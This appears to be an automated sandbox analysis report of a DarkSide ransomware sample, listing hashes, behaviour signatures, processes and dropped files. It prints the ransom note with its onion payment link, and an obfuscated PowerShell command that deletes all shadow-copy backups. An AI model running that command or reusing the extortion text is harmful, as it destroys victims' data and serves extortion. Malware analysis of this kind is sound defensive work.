Resubmissions

30/11/2025, 12:12

251130-pc6htsvpft10

30/11/2025, 12:00

251130-n6lvvahl7110

09/11/2025, 19:58

251109-ypxk5asqhm10

06/11/2025, 21:43

251106-1kxrfatrhp10

03/11/2025, 21:39

251103-1hxzesak9z10

04/10/2025, 20:19

251004-y355es1qy910

09/04/2025, 13:37

250409-qwzeas1rx9

31/03/2025, 05:19

250331-fz687stwdz

31/03/2025, 05:18

250331-fzse2swn13

31/03/2025, 05:18

250331-fzmvkawnz8

Analysis

  • max time kernel
    488s
  • max time network
    487s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250314-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    31/03/2025, 00:22

Errors

Reason
Machine shutdown

General

  • Target
    RansomwareSamples/DarkSide_16_01_2021_59KB.exe
  • Size 59KB
  • Sample250331-apdw1ssjs8
  • SHA256 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Recovery\WindowsRE\README.9a401f55.TXT

  • darkside

Ransom Note
  • ----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs
  • http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Darkside family
  • Renames multiple (151) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 7 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of FindShellTrayWindow 43 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
    "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2352
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1876
  • C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.9a401f55.TXT
    1⤵
    • Opens file in notepad (likely ransom note)
    • Suspicious use of FindShellTrayWindow
    PID:4212
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:116
  • C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\CompleteProtect.svg.txt
    1⤵
    • Opens file in notepad (likely ransom note)
    PID:3592
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /7
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:5848
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:5196
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
      1⤵
      • System Location Discovery: System Language Discovery
      PID:5756
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
      1⤵
      • System Location Discovery: System Language Discovery
      PID:1156
    • C:\Windows\System32\CastSrv.exe
      C:\Windows\System32\CastSrv.exe CCastServerControlInteractiveUser -Embedding
      1⤵
      • Modifies registry class
      PID:1496
    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
      1⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:1052
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
      1⤵
        PID:4004
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x4b4 0x324
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4920
      • C:\Windows\system32\SystemSettingsAdminFlows.exe
        "C:\Windows\system32\SystemSettingsAdminFlows.exe" TurnOffDevicePortal
        1⤵
          PID:5060
        • C:\Windows\system32\SystemSettingsAdminFlows.exe
          "C:\Windows\system32\SystemSettingsAdminFlows.exe" TurnOffDevicePortal
          1⤵
            PID:4100
          • C:\Windows\system32\SystemSettingsAdminFlows.exe
            "C:\Windows\system32\SystemSettingsAdminFlows.exe" FeaturedResetPC
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4916
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa398a055 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:5688
          • C:\Windows\system32\bootim.exe
            bootim.exe /startpage:1
            1⤵
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            PID:2376

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                README.9a401f55.TXT

                • Path C:\Recovery\WindowsRE\README.9a401f55.TXT
                • Size 1KB
                • SHA256 7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 355e7f6e3e8d956e6d33ddd6f0bb7bd9b2c81eaf7ed99e74145b2d3f65a6977d
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_zhzz4v5a.egf.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zhzz4v5a.egf.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                CompleteProtect.svg.txt

                • Path C:\Users\Admin\Desktop\CompleteProtect.svg.txt
                • Size 625KB
                • SHA256 9ef580e129104e99d400b722d44d07ff614bbb4a1028e26e94cfe87bb6c13ce5
                • MD5 SHA1 SHA512 SSDEEP

                memory/2352-14-0x00007FF9FBE40000-0x00007FF9FC902000-memory.dmp

                memory/2352-17-0x00007FF9FBE40000-0x00007FF9FC902000-memory.dmp

                memory/2352-1-0x00007FF9FBE43000-0x00007FF9FBE45000-memory.dmp

                memory/2352-13-0x00007FF9FBE40000-0x00007FF9FC902000-memory.dmp

                memory/2352-12-0x00007FF9FBE40000-0x00007FF9FC902000-memory.dmp

                memory/2352-2-0x000001667C330000-0x000001667C352000-memory.dmp

                memory/5848-200-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-199-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-201-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-205-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-211-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-210-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-209-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-208-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-207-0x000001F2034E0000-0x000001F2034E1000-memory.dmp

                memory/5848-206-0x000001F2034E0000-0x000001F2034E1000-memory.dmp